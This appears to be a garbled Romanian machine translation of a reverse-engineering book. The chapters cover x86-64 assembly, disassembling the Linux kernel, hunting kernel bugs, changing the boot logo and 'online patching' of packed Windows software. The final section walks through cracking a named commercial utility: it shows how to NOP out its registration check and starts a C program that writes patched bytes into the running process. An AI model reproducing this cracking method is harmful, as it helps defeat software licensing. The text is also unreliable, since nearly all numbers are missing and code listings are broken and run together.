registre pot fi accesați folosind sufixele b, w și, respectiv, d De exemplu, R este un registru de de biți, R b este octetul său scăzut (similar cu al) și R w este cuvântul său scăzut (la fel ca ax în eax) Moștenitori direcți și, Partea a IV-a Tehnici avansate de dezasamblare din păcate, nu se observă, iar pentru a manipula partea de mijloc a registrelor, trebuie să folosiți deplasări și operații matematice Instrucțiunea pointer registru rip este acum adresată exact în același mod ca toate celelalte registre de uz general Să luăm cel mai simplu exemplu: încărcați registrul al cu codul operațional al următoarei instrucțiuni de mașină Pe platforma x , trebuie să faci ceva de genul Lista - ; Lista ' Încărcați bpcode următoarea instrucțiune de mașină în x apelați $ + ; Împingeți adresa următoarei instrucțiuni pe stivă ; și să îi transfere controlul pop ebx ; Scoateți adresa de retur din stivă adaugă ebx, b ; Ajustați adresa pentru dimensiunea comenzilor pop/add/mov mov al, [ebx] ; Acum AL conține codul operațional al instrucțiunii NOP NOP ; Comanda al cărei cod operațional dorim să-l încărcăm în AL Ce cod greoi și complex! În plus, este foarte ușor să faceți o greșeală în dimensiunea comenzilor aici, pe care trebuie fie să le calculați manual, fie să aglomerați lista cu etichete inutile În plus, stiva este inevitabil afectată aici, ceea ce în unele cazuri este de nedorit sau inacceptabil (mai ales în mecanismele de apărare umplute cu tehnici anti-depanare) Acum să rescriem același exemplu pentru platforma x - (Listing - ) Mov al,[rip] ; Încărcați codul operațional al următoarei instrucțiuni de mașină NOP ; Comanda al cărei cod operațional dorim să-l încărcăm în AL Frumusetea! Nu uitați că rip indică întotdeauna următoarea instrucțiune, nu cea actuală! Din păcate, nici Jx rip, nici call rip lucrează Pur și simplu nu există astfel de comenzi în lexiconul x - Dar asta e mai mult! Adresarea absolută a dispărut, iar acest lucru este mult mai rău Dacă trebuie să schimbăm conținutul unei locații de memorie la o anumită adresă, pe x facem ceva de genul Listing - dec byte ptr [ h] ; Decrementați conținutul octetului de la adresa bbb cu unul Sub x - , compilatorul aruncă o eroare de asamblare, forțându-ne să recurgem la bazarea inactivă (Listing ) ■ Listarea Utilizarea fazării false pe x - pentru adresarea absolută • Hog r , r ; Resetați registrul r Dec byte ptr [r + h] ; Reduceți conținutul unui octet ; la adresa O + bbb pe unitate Există și alte diferențe față de x , dar nu sunt atât de fundamentale Important este că în modul de compatibilitate x (Legacy Mode) nu sunt disponibile nici registre pe de biți, nici metode noi de adresare! Este imposibil să ajungeți la ei prin orice mijloace și, înainte de a face ceva, este necesar să transferați procesorul în modul „lung” (Long Mode), care este împărțit în două submoduri: modul de compatibilitate x (modul de compatibilitate) și - modul de biți (modul de de biți) modul co Programatori care au prins un PDP- live vor mormăi doar disprețuitor - în cele din urmă, adevărurile evidente au început să ajungă la dezvoltatorii de PC, care au fost implementate pe toate platformele normale cu mult timp în urmă Capitolul Arhitectura x - sub bisturiul unui asamblator capacitatea este furnizată numai pentru ca sistemul de operare pe de biți să poată rula aplicații mai vechi pe de biți Nu sunt folosite registre pe de biți aici, așa că nu luăm în considerare acest mod Realitatea pe de biți trăiește doar în modul lung pe de biți, despre care vom vorbi! Modurile de operare ale procesorului AMD- și principalele lor caracteristici sunt enumerate pe scurt în Tabel Tabelul Moduri de operare ale procesorului AMD- și caracteristicile acestora Mod de operare Sistem de operare necesar Recopilarea aplicațiilor este necesară Caracteristici implicite Extensii de registru Dimensiunea tipică a registrului de uz general Mărimea adresei (în biți) Mărimea operandului (în biți) Mod lung Mod pe de biți Nou sistem de operare pe de biți Da Da Modul de compatibilitate nr nr Modul Legacy Modul protejat Legacy -bit OS No No Mod virtual Sistem de operare moștenit în mod real pe biți Treceți la modul pe de biți În sursele FreeBSD, puteți găsi fișierul amd tramp S, care trece rapid, dar nu corect, procesorul în modul pe de biți Odată compilat, poate fi scris într-un sector de boot care pornește propriul sistem de operare (dacă scrieți unul), sau puteți conecta un fișier com care rulează din modul real x (aceasta va necesita MS-DOS pur, fără extensii) În general, există multe opțiuni Codul pentru fișierul amd tramp S este afișat în Lista - Lista Punerea procesorului în modul pe de biți //$FreeBSD: /repcman/r/ncvs/src/sys/boot/i /libi /and tramp S,v / / /* * Trapolină rapidă și murdară pentru a intra în modul pe de biți (lung) și a rula * cu paginarea activată, astfel încât să introducem nucleul la adresa legată * (Tranziție rapidă, dar nu complet corectă la modul pe de biți (lung) * cu paginarea activată, permițând intrarea în nucleu la adresa asociată acestuia */ #define MSR EFER xc #define EFER LME x Partea a IV-a Tehnici avansate de dezasamblare #define CR PAE x #define CR PSE x #define CR PG x /*GRRR Tratează cu BTX care ne leagă pentru o locație diferită de zero */ /* #define VPBASE #define VPBASE(x) ((x) + VPBASE) date -p align x globi PT PT : spațiu x globi PT PT : spațiu x -globi PT PT : x gdtdesc: cuvânt -lung -lung gdtend-gdt VTOP(gdt) gdt: -lung lung lung x -lung x lung x lung x gdtend: -text cod globi amd tranp amd tramp: /* Asigurați-vă că întreruperile sunt dezactivate */ /* (Asigurați-vă că întreruperile sunt dezactivate) cli /* Porniți EFER LME */ /* (Includeți EFER LME) */ movl $MSR EFER, %ecx rdmsr ori $EFER LME, %eax wrmsr /* Porniți PAE */ /* Activați extinderea adreselor fizice (Adresa fizică * Extensie, PAE) */ movl %cr , %eax Capitolul ori $(CR PAE I CR PSE), %eax movl %eax, %cr /* Setați %cr pentru PT */ /* Setați %sg la PT */ movl $VTOP(PT ), %eax movl %eax, %sr /* Activați paginarea (setează implicit EFER LMA) */ /* Activați paginarea (setat implicit EFER LMA) */ movl %crO, %eax ori $CR PG, %eax movl %eax, %crO /* Acum suntem în modul de compatibilitate, setați %cs pentru modul lung */ /* S-a schimbat în modul de compatibilitate Setați %cs în modul lung */ movl $VTOP(gdtdesc), %eax movl VTOP(entry hi), %esi movl VTOP(entry lo), %edi Igdt(%eax) Ijmp $ x , $VTOP(mod lung) cod mod lung: /* Încă rulăm V=P, săriți la punctul de intrare */ /* Încă se execută V=P, săriți la punctul de intrare */ movl %esi, %eax salq $, %rax orq %rdi, %rax pushq %rax ret Programul „Bună ziua, lume” pentru x - Programarea sub versiunea pe de biți a Windows nu este mult diferită de cea tradițională, doar toți operanzii și adresele sunt implicit pe de biți, iar parametrii funcției API sunt trecuți prin registre, nu prin stivă Primele patru argumente ale tuturor funcțiilor API sunt transmise în registrele rcx, rdx, R și R (registrele sunt listate în ordinea argumentelor, argumentul din stânga este plasat în rcx) Parametrii rămași sunt împinși în stivă Acest mecanism se numește convenție de apelare rapidă x - Descrierea sa detaliată poate fi găsită în articolul „Istoria convențiilor de apelare, partea amd ” (http://blogs msdn com/oldnewthing/archive/ / / / aspx) De asemenea, este util să vă uitați la pagina compilatorului gratuit Free Pascal și să ridicați documentația despre cum să apelați API: http://www freepascal org/wiki/index php/Win /AMD API În special, un apel de funcție cu cinci argumente APi func ( , , , , ) arată ca Lista - mov dword ptr [rsp+ h], mov r d, mov r d, mov edx, mutare ecx, apel API func ; Împingeți al cincilea argument din stânga pe stivă ; Trecem al patrulea argument din stânga ; Trecem al treilea argument din stânga ; Trecem al doilea argument din stânga ; Trecem primul argument în stânga Partea a IV-a Tehnici avansate de dezasamblare Decalajul celui de-al cincilea argument din partea de sus a stivei se explică de la sine De ce este egal cu Oh? La urma urmei, adresa de retur durează doar octeți Unde se duc toți ceilalți? Se pare că sunt „rezervate” pentru primele patru argumente trecute prin registre Celulele „rezervate” conțin gunoi neinițializat (spiii) Iată cunoștințele minime necesare pentru a supraviețui în lumea Windows pe de biți atunci când programați în asamblare Rămâne să ne ocupăm de ultima întrebare Cum să obții acești de biți?! Pentru a comuta FASM la modul x - , trebuie doar să specificați directiva use și să continuați să scrieți programul ca de obicei Lista este un exemplu de program x - simplu care nu face altceva decât să returneze zero în registrul rax Lista , Cel mai simplu program pe biți / ■, în - -z/Shu "-" : * Orez Dezasamblarea kernelului în editorul hexadecimal HT Editor Orez Editorul HT Edtitor, echipat cu un dezasamblator încorporat, efectuează o căutare complexă În interiorul miezului Vine un moment interesant: fișierul vmlinuz este încărcat în dezasamblator! Începe distracția: IDA Pro nu poate recunoaște formatul și îl încarcă ca binar, iar acest lucru nu este deja bun! Nucleul are o structură complexă, constând din mai multe bootloadere care se desfășoară succesiv unul după altul (o analogie cu etapele rachete este destul de potrivită), iar partea principală a nucleului este ambalată Cum să te descurci cu toate acestea? Sarcina minimă este de a dezintegra nucleul în module, determinând adresa de încărcare de bază și adâncimea de biți a fiecăruia dintre ele Cineva poate spune, dar în ce, Secțiunea Cercetarea nucleului Linux de fapt o problema? La urma urmei, avem textele sursă! Ei bine, textele sursă sunt, desigur, bune, dar întrebarea este - ce fișier corespunde cărei părți a nucleului? Deci, fără un ghid bun, este foarte ușor să te pierzi aici! Primii o Oh octeți ai fișierului vmiinuz aparțin sectorului de pornire, care este încărcat la : C și rulează în modul pe biți Apăsați combinația de tastatură + sau selectați comanda Editare | segment | Editați segmentul Introduceți numele segmentului: boot, lăsați adresa de început neschimbată și înlocuiți adresa finală cu h (Fig ) Răspundem fără ambiguitate Da la toate avertismentele formidabile Apoi mutam cursorul la primul octet al codului si apasam tasta pentru a transforma celulele de memorie in cod După aceea, dezasamblarea poate fi continuată ca de obicei Codul sursă al bootloaderului poate fi găsit în \arch\i \boot\bootsect S Adevărat, merită remarcat faptul că acest lucru nu se poate face, deoarece de-a lungul anilor bootloader-ul a fost curățat Chiar dacă există unele erori în el, este puțin probabil să le puteți folosi pentru a face o gaură în sistemul de securitate Linux Orez Modificarea atributelor segmentului în IDA Pro Vedem că sectorul de boot se mută la adresa h: ooooh și citește de pe disc bootloader-ul secundar, care se află și el în interiorul vmiinuz, imediat după sectorul de boot Iată modulele setup S și video S, care sunt încărcate la lOOOh: ooooh și rulează în modul pe biți Începutul modulului setup S este identificat prin semnătura Hdrs după jmp Sfârșitul video S este ușor de identificat prin rândurile: cga, mda, hga, ega, vga, vesa, adaptor video, urmate de „secvența magică” oo oo B oo oo În ambele nuclee, se află la offset i FFh de la începutul fișierului Astfel, încărcătorul secundar începe la offset o Oh și se termină la i FFh De asemenea, rulează în modul pe biți și este un amestec de cod și date, așa că trebuie dezasamblat cu mare grijă (Figura ) Dar înainte de a face acest lucru, trebuie să creați un segment, deoarece segmentul anterior a fost trunchiat! Alegeți din comanda de meniu Editare | segment | Segment nou, introduceți numele segmentului (de exemplu, idr), adresa de început ( h) și adresa de final (isooh), precum și adresa de bază egală cu câtul de împărțire a adresei de început la h Apoi, ar trebui să setați cu forță modul pe biți și să faceți clic pe OK Încărcătorul secundar este urmat de lOOh "nimeni" octeți umpluți cu zerouri Apoi, începând de la offset-ul isooh, este localizat un cod „sălbatic” care nu poate fi dezasamblat în niciun fel IDA Pro scoate doar câteva linii, după care refuză definitiv să continue (Listing ) În continuare „combinații fierbinți” sunt indicate pentru IDA Pro , în alte versiuni acestea pot diferi ușor Partea a IV-a Tehnici avansate de demontare Orez Încărcător secundar, care este un amestec de cod și date i^sting ZZL IDA Pro ninaineegdizasssrMblirriping cod „sălbatic” și eșuează cld cli movax, h db db db Eh ; o db D h ; + HTE și HIEW, la prima vedere, fac față dezasamblarii wild-code Dar, din păcate, ei o fac greșit (Listarea ) -m'l n' dyza^mryair un cod sălbatic o'&fâ" iagir hei fc cld fa cli b mov ax, x adaugă [bx+si], al ed mov ds, ax ec mutari, ax b ee mov fs, ax d ee mov gs, ax Capitolul Linux Kernel Research Toate acestea se întâmplă deoarece începând din acest punct, nucleul începe să se execute în modul protejat pe de biți, iar pentru dezasamblarea corectă trebuie schimbat bitness-ul segmentului Când se face acest lucru, IDA Pro va funcționa ca și cum nimic nu s-ar fi întâmplat Acum suntem în unpacker, pregătind codul principal al nucleului pentru lucru Este implementat în fișierele \arch\i \boot\compressed\head S și misc c Nu are o adresă de descărcare „personală” și este încărcat împreună cu bootloader-ul principal la adresa lOOOh: OOOOh Astfel, primul octet al decompresorului se află în memorie la adresa oooh: ooooh + sizeof (Idf) == oh: oi Oh, care corespunde adresei fizice ioisooh Unpacker setează registrele de segment ds, es, ss, gs, fs la selectorul h și registrul cs la selectorul h Sfârșitul despachetării este urmat de liniile de text Sistem oprit, ok, pornirea nucleului, format comprimat invalid (err=l), urmat de un șir lung de zerouri și apoi începe codul împachetat, care nu poate fi dezasamblat fără mai întâi despachetarea Și cum să-l despachetez? Oamenilor Linux nu le place să reinventeze roata și caută mereu să folosească componente de la raft, așa că nucleul este ambalat în format gzip Codul ambalat începe cu „secvența magică” F B , care este ușor de găsit în orice editor hex În nucleul se află la offset h, iar în kernel este situat la offset D h de la începutul fișierului Să alocăm o regiune din offset-ul corespunzător până la sfârșitul fișierului, după care o scriem într-un fișier cu extensia gz (de exemplu, kernel gz) După ce îl procesăm cu gzip (gzip -d kernel gz), vom obține o imagine kernel gata pentru dezasamblare la ieșire Să încărcăm imaginea rezultată în IDA Pro Codul principal al nucleului rulează în modul pe de biți și este încărcat în memorie la :eOlOOOOOh La început se află modulul \arch\i \kemel\head S, iar apoi init c, care încarcă toate celelalte module Cum să determinați ce modul corespunde unei anumite părți a codului de dezasamblare? Directorul /boot conține un fișier minunat numit System map-xyz (unde xyz este numărul versiunii kernelului) care listează adresele numelor simbolice publice, cunoscute și sub numele de etichete (lista - ) C T system call c c T ret from sys call c ad t restore all c bc t signal return c d t v signal return c e t tracesys c a t traces c all t badsys În special, în nucleul , eticheta ret from sys call corespunde adresei c Ch Scăzând de aici adresa de bază, obținem offset-ul etichetei de la începutul fișierului: ch, dar eticheta ca atare nu este greu de găsit în textele sursă cu o căutare globală Este definit în fișierul \arch\i \kemel\entry S Alte etichete sunt procesate în mod similar Și iată un alt truc: dacă un șir de text sau o comandă „pământ rare” precum Iss sau mov cr , xxx este întâlnită în nucleu, atunci căutarea globală o va găsi cu ușurință în textele sursă Deoarece compilatorul în mod evident nu acceptă astfel de comenzi, aici a existat în mod clar o inserție de asamblare, ceea ce înseamnă că codul de dezasamblare va coincide aproape complet cu fragmentul de text sursă corespunzător! În general, nu există nimic supranatural în dezasamblarea nucleului, iar această sarcină este destul de în puterea unui căutător de cod obișnuit Partea a IV-a Tehnici avansate de dezasamblare Unde cuibăresc gândacii În programele de aplicație și aplicațiile de server, cel mai mare număr de erori se concentrează în buffer-urile care depășesc (atacuri precum depășirea bufferului sau depășirea bufferului) Nucleul are și buffere, iar unele dintre ele se pot depăși, dar acest tip de atac nu este atât de tipic pentru el Cele cinci surse principale de erori sunt blocajele, cunoscute și sub numele de blocări de rotație, ieșiri neașteptate de funcții, încărcătorul ELF, managerul de memorie virtuală și stiva TCP/IP Să luăm în considerare toți candidații mai detaliat Spinlock-urile sunt locații de memorie care protejează codul multitasking de a fi afectat de fire străine (Listing - ) La intrarea în zona protejată, procesorul setează steagul, iar la ieșire îl resetează Până când semnalul este șters, alte fire de execuție sunt în stare de așteptare și nu pot executa cod Pe nucleele multiprocesor, spinlock-urile încep cu prefixul josk, care este ușor de găsit în textul de dezasamblare apăsând + Suportul multitasking este foarte greu de implementat și există doar o mulțime de erori aici , așa că nimeni nu trebuie să se plângă că „toate erorile au fost deja prinse înaintea noastră” Din păcate, majoritatea erorilor de multitasking sunt de natură în mai multe etape, deci nu există metode universale pentru a le găsi Aceasta este o muncă pentru hackeri adevărați care sunt capabili să păstreze întregul nucleu în cap și să pună cap la cap un mozaic disparat într-o singură imagine În general, adevărat hardcore Este complicat? Desigur! Dar nu căutăm căi ușoare, nu? Dar satisfacția de la gaura găsită este mult mai mare nucleu -C A E oc C Ab E: ; COD XREF: sub C A +l j j kernel:C A E lock dec byte ptr [ebx- FCE F h] kernel:C A js loc C AA Ieșirile neașteptate (sau premature) dintr-o funcție (încetarea neașteptată a funcției) apar ori de câte ori, din cauza unei erori, funcția nu mai poate continua să funcționeze și face o revenire imediată O parte din lucrări au fost deja făcute, iar altele nu Dacă programatorul permite chiar și cea mai mică neglijență, atunci structurile de date se vor transforma într-o mizerie Un astfel de bug este în funcția create elf tables, care va fi tratată în detaliu în Capitolul Pentru a căuta ieșiri premature, este suficient să mergeți la sfârșitul funcției și să analizați referințele încrucișate care conduc (lista ) Cu cât sunt mai multe, cu atât este mai probabil să fie ceva în neregulă aici Ei bine, nu este departe de gaură nucleu:C A os C A : ; COD XREF: kernel:C A F mj kernel:COI A mov eax, OFFFFFFEAh nucleu: C A kernel:C A loc C A : nucleu: C A kernel: C A pop ebx ; COD XREF: kernel:COI A CFTj ; nucleu: C A tj nucleu: C A pop nucleu: C A pop esi edi kernel:C A pop ebp kernel:C A pop ecx kernel:C A A retn Mai multe detalii despre suportul multitasking vor fi discutate în Capitolul , vezi secțiunea „Capture the Zero Ring în Linux” Capitolul Linux Kernel Research Încărcătorul de fișiere ELF, managerul de memorie virtuală și stiva TCP/IP sunt adevărate aisberguri, îngrămădite ca niște munți de gheață, dintre care majoritatea sunt ascunse în adâncurile apei Sunt sute de mii de linii de cod care interacționează într-un mod complex între ele Acesta este un teren fertil pentru tot felul de bug-uri care roaming de la o versiune a nucleului la alta Unele dintre ele au fost deja identificate, altele nu au fost încă găsite În primul rând, ar trebui să acordați atenție gestionării câmpurilor non-standard sau unei combinații sălbatice de diferite atribute Pentru a nu acționa orbește, este logic să descărcați cel mai recent fișier RFC (http://www rfc-editor org) și să obțineți specificația pentru formatul ELF (http://www cs princeton edu/) courses/archive/fall /cos /docs/ELF Format pdf) Așa că am ajuns la miez! Ne-am scufundat în lumea reală a dezasamblatorilor și am văzut cum arată Linux nu numai din exterior, ci și din interior Acum, cel mai important lucru este să ai răbdare Nu vă așteptați la succes rapid Pot dura luni de zile pentru a găsi prima gaură, mai ales dacă nu ați dobândit încă suficientă experiență în dezasamblare și răsfoiți în mod constant un manual de instrucțiuni al mașinii ponosit În modul deep hachinya, hackerii rămân pe computer timp de sau chiar de ore Dezasamblarea e nasol! Este ușor să intri în ghearele lui, dar e foarte greu să scapi! Secretele hacking-ului kernelului Cine nu vrea să pirateze kernel-ul Linux? Fiecare utilizator Linux care se respectă ar trebui să încerce asta! La urma urmei, Linux, spre deosebire de Windows, este un adevărat teren de testare pentru hacking, plin de oportunități neașteptate Luați cel puțin logo-ul care apare pe ecran Deci, este timpul să ridicați GIMP și să desenați ceva „Hacks” (hack-uri) se referă la tot felul de trucuri, glume amuzante și trucuri originale, în timp ce „hacking” (hacking) este înțeles în mod tradițional ca programe de hacking sau atacuri de rețea Par să fie termeni similari, dar ce diferență! Se pot face multe experimente interesante cu nucleul Linux Să începem cu schimbarea siglei Schimbați sigla Linux De obicei, atunci când porniți Linux, apare un pinguin caracteristic, cu care nu veți surprinde pe nimeni Vreau ceva nou Cum să schimbi logo-ul implicit cu ceva al tău? Există mai multe moduri Să începem prin a compila nucleul Următoarele fișiere sunt responsabile pentru afișarea siglei: /usr/src/linux/drivers/video/* și /usr/src/linux/include/linux/linux logo h Ori de câte ori nucleul este încărcat în modul de depanare sau silențios, aceste fișiere — compilate, desigur — preiau controlul și se imprimă pe ecran Logo-ul în sine se află în fișierul linux logo h, unde este stocat ca o matrice de date obișnuită, un fragment din care este afișat în Lista pentru claritate ; Listare -in Fragment din fișierul llnuxJogo h care conține sigla unsigned char linux logo bw[] initdata = { OxFF, OxFF, OxFF, OxFF, OxFF, OxFF, OxFF, OxFF, xFF, xFF, xFF, xFF, xFF, x , x , x F, OxFF, OxFF, OxFF, OxFF, OxFF, OxFF, OxFF, OxlF, OxFE, OxlF, OxFF, OxFF, OxFF, OxFF, OxFF, OxFF, xFE, x F, xFF, xOF, xFF, xFF, xFF, xFF, OxFF, OxFF, OxFE, x F, OxFF, OxC , OxFF, OxFF, Vezi secțiunea „Elfii cad în groapă” din capitolul Partea a IV-a Tehnici avansate de dezasamblare Îl puteți schimba atât manual, cât și automat Nu vom atinge modul manual, deoarece aceasta este o procedură de rutină obișnuită Este mult mai ușor să rulați un utilitar special și va face totul automat Spre deosebire de lumea Windows, sub Linux codul sursă este disponibil gratuit Prin urmare, putem analiza cu ușurință ce face acest sau acel program și dacă avem nevoie de el Intervenția în nucleu este întotdeauna plină de consecințe fatale Un pas greșit - iar sistemul refuză să pornească sau distruge toate datele de pe hard disk curat Prin urmare, înainte de orice instalare a unui program potențial nesigur, este necesar să parcurgeți codul sursă și să vedeți exact ce fișiere modifică Rămâne să le rezervați pe o dischetă, disc CD-R / RW sau card de memorie Flash Și puteți porni de pe un Live CD! Vom folosi utilitarul Iodo, care poate fi descărcat de pe un server belgian democratic: http://users telenet be/geertu/Linux/fbdev/logo html După despachetarea arhivei, vom găsi trei fișiere C și unul makefile Din păcate, nu există binare și trebuie să le compilați singur Sunt acceptate două versiuni de nuclee - cu numerele și În versiunea , totul s-a schimbat semnificativ și are nevoie de propria abordare Vom vorbi despre versiunea puțin mai târziu, dar deocamdată să revenim la sarcina noastră actuală Analiza arată că utilitarul logo-ului constă de fapt din două părți: convertorul de imagine de intrare, situat în fișierul pnmtologo c, și aplicația de corecție a nucleului însuși, aflat în fișierele logo c și logo c (fiecare pentru propria sa versiune de nucleul) Strict vorbind, logo c include extractorul de logo actual și aplicația de corecție, în timp ce logo c include doar extractorul de logo în format vechi Logo-ul în sine, în ambele cazuri, este un fișier PCX obișnuit, cu o adâncime de culoare de cel mult de culori și o suprafață totală de cel mult , pixeli (care corespunde unei rezoluții de x ) Convertorul nu prezintă un interes deosebit Apropo, puteți folosi pluginul pentru editorul GIMP: http://registry gimp org/detailview phtml?plugin=Linux+Logo Dar ar trebui să aruncați o privire mai atentă la extractor/patcher Fragmentul cheie al fișierului logo c este afișat în Lista - - •; ■ - ■■ ■>■•,• • * Acest fișier este supus termenilor și condițiilor publicului general GNU * licență Vedeți fișierul COPIERE în directorul principal al Linux *distnbution pentru mai multe detalii static void write logo(const char *nume fișier, const unsigned char *date, const unsigned char *roșu, const unsigned char *verde, const unsigned char *albastru) { FIȘIER *stream; mt , , d; stream = fopen(nume fișier, "w"); if ('stream) { perrorf"eroare de deschidere a fișierului: ");exit(l);} fputsf"P \n \n \n", flux); pentru (i = ; i linux logo h Dacă totul decurge fără erori, atunci fișierul linux jogo h este format în directorul curent, pe care trebuie să-l copiam în directorul: /usr/include/linux Acum trebuie să recompilați nucleul și să reporniți Dacă sistemul nu se blochează în timpul procesului de pornire, va fi afișat un nou logo pe ecran Dacă întâmpinați probleme, consultați http://lug umbc edu/~mabzugl/boot logo html Cu nucleul totul este mult mai simplu Creăm o imagine png de orice dimensiune rezonabilă și o procesăm cu utilitarul standard pngtopnm, rulând-o cu următoarele comutatoare din linia de comandă: /pngtopnm logo png | pnmtoplainpnm > logo linux clut ppm , Apoi transferăm fișierul rezultat la locul de desfășurare permanentă cu utilitarul cf: /cp logo lmux cut ppm /usr/src/linux/drivers/video/logo/ Rămâne doar să configurați kernelul, pentru care puteți utiliza configuratorul interactiv Printre alte articole utile (și nu chiar așa), va include sigla Bootup și opțiunile standard pentru sigla Linux de de culori Acestea sunt cele care trebuie armate (Listing ) Drivere de dispozitiv -> Suport grafic -> [*] Suport pentru dispozitive frame buffer [*] Suport grafic VESA VGA Suport driver pentru afișajul consolă -> Capitolul Linux Kernel Research [*] Suport pentru selectarea modului video Suport pentru Consola Framebuffer [*]Selectați fonturile compilate [*]Font VGA x Configurare logo-> [*] Sigla de pornire [*] Sigla Linux standard de de culori După ce ați terminat toate lucrările pregătitoare, recompilați nucleul rulând acest lucru și configurați fișierul de configurare /boot/grub/menu lst adăugând CHEIA vda= x ȘI nucleul (hdO, ) /vmlinuz root=/dev/sda vga = x Să repornim Noul logo va apărea solemn pe ecran, strălucind cu toate cele de culori ale sale Frumos? Mai degrabă stângaci Hackerii adevărați recunosc doar terminalul text și modul consolă cu ANSl-pseudrographics Siglele ASCII sunt foarte populare și pot fi instalate folosind programul Linuxjogo (http://www deater net/weave/vmwprod/linux logo/) Există, de asemenea, o colecție de mostre gata făcute Programul este actualizat constant, iar cea mai recentă versiune a fost lansată cel târziu la august Capitolul Metode moderne de patch-uri În capitolul , Warm Up, am analizat deja câteva exemple practice de hacking Cu toate acestea, acestea au fost exemple banale, cunoscute și sub denumirea de „bit-hacks” (bit-hacks) Este timpul să revenim la acest subiect și să ne uităm la mai complexe În acest capitol, vom acoperi următoarele subiecte: □ Trucuri și secrete ale corecțiilor online □ Hacking aplicații client folosind tehnologii stealth □ Tehnici de corecție offline și online a nucleului Windows NT/ /XP, precum și utilizarea funcțiilor documentate și nedocumentate pentru a deproteja nucleul de modificări online □ Tehnici de depășire a „Ecranului Albastru al Morții” (Blue Screen of Death, BSOD) Secrete de corecție online După cum știți, corecția offline (aka off-line patch, aka bit-hack) constă în încărcarea programului piratat într-un editor hexadecimal (de exemplu, HIEW) și modificarea câțiva octeți (de exemplu, h la ECh) Ce se întâmplă dacă programul este ambalat? În acest caz, avem două moduri - să-l despachetăm și să-l piratam off-line sau, după ce așteptăm finalizarea despachetului, modificam din mers memoria procesului, ocolind rapid capcanele precum verificarea CRC Aceasta este metoda despre care vorbim! Îndepărtarea unui dispozitiv de ambalare/protector serios este extrem de dificilă Nu există dispozitive de despachetare de înaltă calitate și trebuie să lucrați cu mâinile În plus, cele mai recente versiuni de protectori joacă feste hackerilor, de exemplu, furând unele instrucțiuni, injectând cod p, emulând salturi condiționate etc Ca urmare, programul dezambalat este instabil și se blochează periodic, căzând într-o altă capcană Găsirea și îndepărtarea unor astfel de capcane ascunse necesită timp și succesul nu este garantat Obținerea unei benzi adecvate pentru dezasamblare (dar nu pentru rulare!) este relativ ușoară, iar PE Tools este mai mult decât la îndemână Programele cu criptare dinamică sunt de obicei examinate într-un depanator Punându-și toate speranțele pe protectorul cu balamale, programatorii sunt destul de dezinvolti în ceea ce privește „reactorul de fuziune” al mecanismului de protecție, care este responsabil pentru controlul numărului de serie, verificarea numărului de rulări, expirarea șirului de testare etc Majoritatea programelor pot încă fi crăpat prin editarea doar a câțiva octeți Dar acești octeți sunt localizați adânc sub stratul de cod împachetat În acest caz HIEW cu sarcina la îndemână Cu criptarea dinamică, decriptarea continuă în porțiuni mici, iar fragmentul care a funcționat este imediat criptat din nou Capitolul nu mai poate face față și este necesar să acționăm într-un mod diferit Hackerul lansează un proces care poate fi spart, așteaptă câteva secunde pentru a despacheta tot ce are nevoie și apoi modifică imaginea procesului chiar în memorie! Această abordare se numește corecție on-line Desigur, schema de mai sus este departe de a fi ideală și nu ține cont de o serie de realități practice Totuși, trebuie să începi de undeva! Cel mai simplu patcher on-line Citirea memoriei unui proces „străin” este realizată de funcțiile ReadProcessMemory, iar scrierea se face de writeProcessMemory Unii autori scriu că este necesar să se oprească toate firele de execuție ale procesului înainte de a-l aplica prin SuspendThread, iar după aplicarea patch-ului, reia execuția lor cu funcția ResumeThread Dar nu este! De asemenea, puteți patch-a un proces activ, dar o singură comandă la un moment dat În caz contrar, este posibilă o situație în care procesul să fie întrerupt între comenzile modificate Vă rugăm să rețineți că aceste comenzi vor fi deja înlocuite până la acel moment și nu este un fapt că limitele noilor comenzi vor coincide cu cele vechi Cu alte cuvinte, nu este garantat că eip va indica începutul comenzii și nu spre mijloc Apoi, comportamentul programului întrerupt devine imprevizibil și obținem un accident, deși probabilitatea acestui eveniment este neglijabilă Modul corect de a face acest lucru este să opriți toate firele de execuție și apoi să citiți contextul fiecăruia dintre ele cu funcția GetThreadContext, asigurându-vă că niciunul dintre fire nu execută în prezent codul piratat În caz contrar, trebuie fie să ajustați eip reinstalându-l la începutul comenzii piratate, fie să dezghețați fluxurile și să așteptați puțin mai mult Dar, în primul rând, este prea complicat și, în al doilea rând, oprirea și reluarea firelor de execuție se poate întoarce rău, deoarece nu toți programatorii țin evidența sincronizării Vom acționa într-un mod simplu, dar de încredere, care funcționează în , % din cazuri Începem procesul, așteptăm câteva secunde până când despachetarea este finalizată Apoi citim memoria procesului activ pentru a ne asigura că exact ceea ce avem nevoie se află la această adresă (altfel înjurăm versiunea greșită a programului stricat) și scriem versiunea „corectată” a instrucțiunilor mașinii aici pe a zbura Luați, de exemplu, utilitarul NtExplorer din Runtime Software Folosind utilitarul PEiD, ne vom asigura că programul este împachetat folosind ASPack c, ceea ce înseamnă că un bit-hack direct este imposibil Bine! Să luăm un dump din program, să încărcăm dump-ul rezultat într-un dezasamblator ȘI Prin referințe încrucișate La linie Vă mulțumim pentru licențierea DiskExplorer de la Runtime, vom ajunge la codul afișat în lista E DB apel sub E B E E test al, al E E jz E E mov E E mov E ED mov loc E A eax, dword CE b,[eax+ h], ; -> Înregistrarea a eșuat E F apel sub E B dword CE E F test al, al ; Scrierea datelor în registru E F jz loc E A E FB apăsați E FD mov E A mov dl, cx, cuvânt E B E A mov eax,aMulțumesc; „Mulțumesc pentru licență ” Vedem tranziția condiționată jz oc E A , „suntând” rezultatul liniei despre înregistrarea cu succes Evident, după ce l-am marcat cu două comenzi nop (cu excepția cazului în care programul conține Partea a IV-a Tehnici avansate de dezasamblare alte verificări), vom sparge protecția, iar apoi orice număr de înregistrare va fi perceput ca fiind corect Scriem un întrerupător automat, al cărui algoritm este clar din comentarii (Listing ) Lista Cel mai simplu cracker care aplică un patch în modul on-line - NtExplorer crack c main(int c, char **v) { DWORDN; STARTOPINFO si; PROCESJNFORMATION pi; nesemnat char *buf; // Date pentru patch (exemplu) caracter nesemnat x old[] = { x , x ); caracter nesemnat x new[] = { x , x }; void* x off = x E E ; // Octeți originali // Octeți piratați // Adresă pentru hack memset(&si, ,sizeof(si));buf=malloc(sizeof(x old)); // Începe procesul de hacking if ('CreateProcess( ,GetCommandLine()+strlen(v[ ]) + ((GetCommandLine()[ ]=='\"')? : ), , , , , , ,&si,&pi)) returnează printf(”-ERR:run %s\x \n",GetCommandLine()+strlen(v[ ])+ ((GetCommandLine()[ ]== \" )? : )) ; // Așteptați finalizarea despachetului pentru (N= ;N #include principal() { unsigned int p = x ; // Adresa de început while(p) // Execută bucla În Windows x, această 